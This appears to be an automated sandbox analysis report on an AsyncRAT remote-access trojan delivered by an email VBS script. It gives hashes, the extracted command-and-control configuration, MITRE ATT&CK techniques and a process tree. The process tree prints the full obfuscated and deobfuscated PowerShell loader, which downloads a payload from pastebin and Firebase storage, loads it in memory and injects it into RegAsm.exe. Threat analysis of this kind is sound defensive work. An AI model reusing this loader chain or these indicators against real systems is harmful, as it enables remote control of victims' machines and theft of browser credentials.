asyncrat | b08e83b034213d1c4d33e29c63d8d24b99684c2714e29ae3b3aaec34d5c8d134

Analysis

max time kernel
125s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
01/10/2024, 18:55

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General

Target
Malicious script from email.vbs
Size 5KB
Sample241001-xkwycsvglk
SHA256 b08e83b034213d1c4d33e29c63d8d24b99684c2714e29ae3b3aaec34d5c8d134
MD5 42c7a5e0016caaa5ecfa93ee6245eb36
SHA1 afe8f0faa6b571a194ce9f645a4b8fb43f92e2d4
SHA512 7c0a21fb835a7f24815fb87a4a64d0df0c58e60d6d2ad4804bf7f257fe4ccb67eb1f4ab9222b61d04b8b7e4feb4b184b8860d0bf01fbe470677cfd1ace29478d
SSDEEP 96:JAqUcAePyt8dAlAujjbV0kUTyW67lwM+CIpW2ckE7csvBkm3rh:p9PZIVqTylwM+QUQBkmt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat zzdefaultpet discovery execution rat spyware stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://pastebin.com/raw/V9y5Q5vv
exe.dropper
https://pastebin.com/raw/V9y5Q5vv

Extracted

Family

asyncrat

Version

| CRACKED BY https://t.me/xworm_v2

Botnet

zzDefaultPET

deadpoolstart2026.con-ip.com:6090

Mutex

WinCookies

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	3344	powershell.exe
14	3344	powershell.exe
16	3344	powershell.exe
24	3344	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4620	powershell.exe
3344	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
8	pastebin.com
13	bitbucket.org
14	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3344 set thread context of 4352	3344	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
3344	powershell.exe
3344	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	4352	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 4620	4108	WScript.exe	89
PID 4108 wrote to memory of 4620	4108	WScript.exe	89
PID 4620 wrote to memory of 3344	4620	powershell.exe	91
PID 4620 wrote to memory of 3344	4620	powershell.exe	91
PID 3344 wrote to memory of 4352	3344	powershell.exe	93
PID 3344 wrote to memory of 4352	3344	powershell.exe	93
PID 3344 wrote to memory of 4352	3344	powershell.exe	93
PID 3344 wrote to memory of 4352	3344	powershell.exe	93
PID 3344 wrote to memory of 4352	3344	powershell.exe	93
PID 3344 wrote to memory of 4352	3344	powershell.exe	93
PID 3344 wrote to memory of 4352	3344	powershell.exe	93
PID 3344 wrote to memory of 4352	3344	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Malicious script from email.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'Jâ˜†Blâ˜†Gcâ˜†dQBpâ˜†Hoâ˜†Iâ˜†â˜†9â˜†Câ˜†â˜†Jwâ˜†wâ˜†Ccâ˜†Owâ˜†kâ˜†Hoâ˜†câ˜†Bqâ˜†Gsâ˜†bQâ˜†gâ˜†D0â˜†Iâ˜†â˜†nâ˜†CUâ˜†câ˜†B6â˜†EEâ˜†YwBPâ˜†Gcâ˜†SQBuâ˜†E0â˜†cgâ˜†lâ˜†Ccâ˜†OwBbâ˜†FMâ˜†eQBzâ˜†HQâ˜†ZQBtâ˜†C4â˜†TgBlâ˜†HQâ˜†LgBTâ˜†GUâ˜†cgB2â˜†Gkâ˜†YwBlâ˜†Fâ˜†â˜†bwBpâ˜†G4â˜†dâ˜†BNâ˜†GEâ˜†bgBhâ˜†Gcâ˜†ZQByâ˜†F0â˜†Ogâ˜†6â˜†FMâ˜†ZQBjâ˜†HUâ˜†cgBpâ˜†HQâ˜†eQBQâ˜†HIâ˜†bwB0â˜†G8â˜†YwBvâ˜†Gwâ˜†Iâ˜†â˜†9â˜†Câ˜†â˜†WwBTâ˜†Hkâ˜†cwB0â˜†GUâ˜†bQâ˜†uâ˜†E4â˜†ZQB0â˜†C4â˜†UwBlâ˜†GMâ˜†dQByâ˜†Gkâ˜†dâ˜†B5â˜†Fâ˜†â˜†cgBvâ˜†HQâ˜†bwBjâ˜†G8â˜†bâ˜†BUâ˜†Hkâ˜†câ˜†Blâ˜†F0â˜†Ogâ˜†6â˜†FQâ˜†bâ˜†Bzâ˜†DEâ˜†Mgâ˜†7â˜†CQâ˜†Uâ˜†B4â˜†EUâ˜†Tâ˜†BYâ˜†Câ˜†â˜†PQâ˜†gâ˜†Ccâ˜†aâ˜†B0â˜†HQâ˜†câ˜†Bzâ˜†Doâ˜†Lwâ˜†vâ˜†Hâ˜†â˜†YQBzâ˜†HQâ˜†ZQBiâ˜†Gkâ˜†bgâ˜†uâ˜†GMâ˜†bwBtâ˜†C8â˜†cgBhâ˜†Hcâ˜†LwBWâ˜†Dkâ˜†eQâ˜†1â˜†FEâ˜†NQB2â˜†HYâ˜†Jwâ˜†7â˜†CQâ˜†SQBIâ˜†Hâ˜†â˜†Tâ˜†Bxâ˜†Câ˜†â˜†PQâ˜†gâ˜†Cgâ˜†TgBlâ˜†Hcâ˜†LQBPâ˜†GIâ˜†agBlâ˜†GMâ˜†dâ˜†â˜†gâ˜†E4â˜†ZQB0â˜†C4â˜†VwBlâ˜†GIâ˜†QwBsâ˜†Gkâ˜†ZQBuâ˜†HQâ˜†KQâ˜†uâ˜†EQâ˜†bwB3â˜†G4â˜†bâ˜†Bvâ˜†GEâ˜†Zâ˜†BTâ˜†HQâ˜†cgBpâ˜†G4â˜†Zwâ˜†oâ˜†Câ˜†â˜†Jâ˜†BQâ˜†Hgâ˜†RQBMâ˜†Fgâ˜†Iâ˜†â˜†gâ˜†Ckâ˜†Owâ˜†kâ˜†FIâ˜†QwBrâ˜†FYâ˜†Sgâ˜†gâ˜†D0â˜†Iâ˜†â˜†oâ˜†E4â˜†ZQB3â˜†C0â˜†TwBiâ˜†Goâ˜†ZQBjâ˜†HQâ˜†Iâ˜†BOâ˜†GUâ˜†dâ˜†â˜†uâ˜†Fcâ˜†ZQBiâ˜†EMâ˜†bâ˜†Bpâ˜†GUâ˜†bgB0â˜†Ckâ˜†LgBEâ˜†G8â˜†dwBuâ˜†Gwâ˜†bwBhâ˜†GQâ˜†UwB0â˜†HIâ˜†aQBuâ˜†Gcâ˜†Kâ˜†â˜†gâ˜†CQâ˜†SQBIâ˜†Hâ˜†â˜†Tâ˜†Bxâ˜†Câ˜†â˜†KQâ˜†uâ˜†HIâ˜†ZQBwâ˜†Gwâ˜†YQBjâ˜†GUâ˜†Kâ˜†â˜†nâ˜†CQâ˜†JQâ˜†nâ˜†Cwâ˜†JwBBâ˜†Ccâ˜†KQâ˜†7â˜†Fsâ˜†QgB5â˜†HQâ˜†ZQBbâ˜†F0â˜†XQâ˜†gâ˜†CQâ˜†ZQBoâ˜†HYâ˜†ZwBqâ˜†Câ˜†â˜†PQâ˜†gâ˜†Fsâ˜†cwB5â˜†HMâ˜†dâ˜†Blâ˜†G0â˜†LgBDâ˜†G8â˜†bgB2â˜†GUâ˜†cgB0â˜†F0â˜†Ogâ˜†6â˜†EYâ˜†cgBvâ˜†G0â˜†QgBhâ˜†HMâ˜†ZQâ˜†2â˜†DQâ˜†UwB0â˜†HIâ˜†aQBuâ˜†Gcâ˜†Kâ˜†â˜†gâ˜†CQâ˜†UgBDâ˜†Gsâ˜†VgBKâ˜†Câ˜†â˜†KQâ˜†7â˜†Fsâ˜†cwB5â˜†HMâ˜†dâ˜†Blâ˜†G0â˜†LgBBâ˜†Hâ˜†â˜†câ˜†BEâ˜†G8â˜†bQBhâ˜†Gkâ˜†bgBdâ˜†Doâ˜†OgBDâ˜†HUâ˜†cgByâ˜†GUâ˜†bgB0â˜†EQâ˜†bwBtâ˜†GEâ˜†aQBuâ˜†C4â˜†Tâ˜†Bvâ˜†GEâ˜†Zâ˜†â˜†oâ˜†CQâ˜†ZQBoâ˜†HYâ˜†ZwBqâ˜†Ckâ˜†LgBHâ˜†GUâ˜†dâ˜†BUâ˜†Hkâ˜†câ˜†Blâ˜†Cgâ˜†JwBUâ˜†GUâ˜†aâ˜†B1â˜†Gwâ˜†YwBoâ˜†GUâ˜†cwBYâ˜†Hgâ˜†Wâ˜†B4â˜†Hgâ˜†LgBDâ˜†Gwâ˜†YQBzâ˜†HMâ˜†MQâ˜†nâ˜†Ckâ˜†LgBHâ˜†GUâ˜†dâ˜†BNâ˜†GUâ˜†dâ˜†Boâ˜†G8â˜†Zâ˜†â˜†oâ˜†Ccâ˜†TQBzâ˜†HEâ˜†QgBJâ˜†GIâ˜†WQâ˜†nâ˜†Ckâ˜†LgBJâ˜†G4â˜†dgBvâ˜†Gsâ˜†ZQâ˜†oâ˜†CQâ˜†bgB1â˜†Gwâ˜†bâ˜†â˜†sâ˜†Câ˜†â˜†WwBvâ˜†GIâ˜†agBlâ˜†GMâ˜†dâ˜†Bbâ˜†F0â˜†XQâ˜†gâ˜†Cgâ˜†Jwâ˜†wâ˜†DMâ˜†MQBhâ˜†Dgâ˜†Zgâ˜†wâ˜†Dkâ˜†NQâ˜†1â˜†DMâ˜†Ywâ˜†tâ˜†DQâ˜†Ygâ˜†3â˜†GEâ˜†LQBhâ˜†DEâ˜†Ywâ˜†0â˜†C0â˜†Mâ˜†â˜†4â˜†GUâ˜†Ngâ˜†tâ˜†GUâ˜†Nwâ˜†yâ˜†DQâ˜†ZgBiâ˜†Dgâ˜†Nwâ˜†9â˜†G4â˜†ZQBrâ˜†G8â˜†dâ˜†â˜†mâ˜†GEâ˜†aQBkâ˜†GUâ˜†bQâ˜†9â˜†HQâ˜†bâ˜†Bhâ˜†D8â˜†dâ˜†B4â˜†HQâ˜†LgB0â˜†HMâ˜†ZQB0â˜†C8â˜†bwâ˜†vâ˜†G0â˜†bwBjâ˜†C4â˜†dâ˜†Bvâ˜†Hâ˜†â˜†cwBwâ˜†Hâ˜†â˜†YQâ˜†uâ˜†DUâ˜†Mâ˜†â˜†0â˜†DYâ˜†ZQâ˜†tâ˜†GUâ˜†cgBpâ˜†GYâ˜†LwBiâ˜†C8â˜†Mâ˜†B2â˜†C8â˜†bQBvâ˜†GMâ˜†LgBzâ˜†Gkâ˜†câ˜†Bhâ˜†GUâ˜†bâ˜†Bnâ˜†G8â˜†bwBnâ˜†C4â˜†ZQBnâ˜†GEâ˜†cgBvâ˜†HQâ˜†cwBlâ˜†HMâ˜†YQBiâ˜†GUâ˜†cgBpâ˜†GYâ˜†Lwâ˜†vâ˜†Doâ˜†cwBwâ˜†HQâ˜†dâ˜†Boâ˜†Ccâ˜†Iâ˜†â˜†sâ˜†Câ˜†â˜†Jâ˜†B6â˜†Hâ˜†â˜†agBrâ˜†G0â˜†Iâ˜†â˜†sâ˜†Câ˜†â˜†JwB1â˜†Hâ˜†â˜†Zâ˜†Bhâ˜†HQâ˜†ZQBjâ˜†G8â˜†bwBrâ˜†Gkâ˜†ZQâ˜†uâ˜†GUâ˜†eâ˜†Blâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†XwBfâ˜†F8â˜†Xwâ˜†tâ˜†C0â˜†LQâ˜†tâ˜†C0â˜†LQâ˜†tâ˜†Ccâ˜†Lâ˜†â˜†gâ˜†CQâ˜†ZQBnâ˜†HUâ˜†aQB6â˜†Cwâ˜†Iâ˜†â˜†nâ˜†DEâ˜†Jwâ˜†sâ˜†Câ˜†â˜†JwBSâ˜†G8â˜†Zâ˜†Bhâ˜†Ccâ˜†Iâ˜†â˜†pâ˜†Ckâ˜†Owâ˜†=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('â˜†','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Malicious script from email.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$eguiz = '0';$zpjkm = 'C:\Users\Admin\AppData\Local\Temp\Malicious script from email.vbs';[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$PxELX = 'https://pastebin.com/raw/V9y5Q5vv';$IHpLq = (New-Object Net.WebClient).DownloadString( $PxELX );$RCkVJ = (New-Object Net.WebClient).DownloadString( $IHpLq ).replace('$%','A');[Byte[]] $ehvgj = [system.Convert]::FromBase64String( $RCkVJ );[system.AppDomain]::CurrentDomain.Load($ehvgj).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('031a8f09553c-4b7a-a1c4-08e6-e724fb87=nekot&aidem=tla?txt.tset/o/moc.topsppa.5046e-erif/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $zpjkm , 'updatecookie.exe____________________________________________-------', $eguiz, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4352

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4444,i,6510295916244954942,10164894160290787457,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:8
1⤵
PID:3952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1
MD5 81d91bab2fdd72436e4852d94ea7650d
SHA1 5652b3c46a0cf75a03859c5707f36fb08f5c631a
SHA512 df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
MD5 235a8eb126d835efb2e253459ab8b089
SHA1 293fbf68e6726a5a230c3a42624c01899e35a89f
SHA512 a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_re5q2and.nt0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_re5q2and.nt0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3344-22-0x000001BB44C50000-0x000001BB44C5A000-memory.dmp

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memory/3344-25-0x000001BB44C70000-0x000001BB44C7A000-memory.dmp

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memory/4352-26-0x0000000000400000-0x0000000000416000-memory.dmp

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memory/4352-37-0x00000000063B0000-0x0000000006416000-memory.dmp

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memory/4352-36-0x00000000068F0000-0x0000000006E94000-memory.dmp

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memory/4352-35-0x00000000062A0000-0x000000000633C000-memory.dmp

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memory/4620-12-0x00007FF9CE300000-0x00007FF9CEDC1000-memory.dmp

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memory/4620-24-0x00007FF9CE300000-0x00007FF9CEDC1000-memory.dmp

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memory/4620-23-0x00007FF9CE303000-0x00007FF9CE305000-memory.dmp

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memory/4620-32-0x00007FF9CE300000-0x00007FF9CEDC1000-memory.dmp

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memory/4620-0-0x00007FF9CE303000-0x00007FF9CE305000-memory.dmp

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memory/4620-11-0x00007FF9CE300000-0x00007FF9CEDC1000-memory.dmp

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memory/4620-7-0x0000023297DD0000-0x0000023297DF2000-memory.dmp

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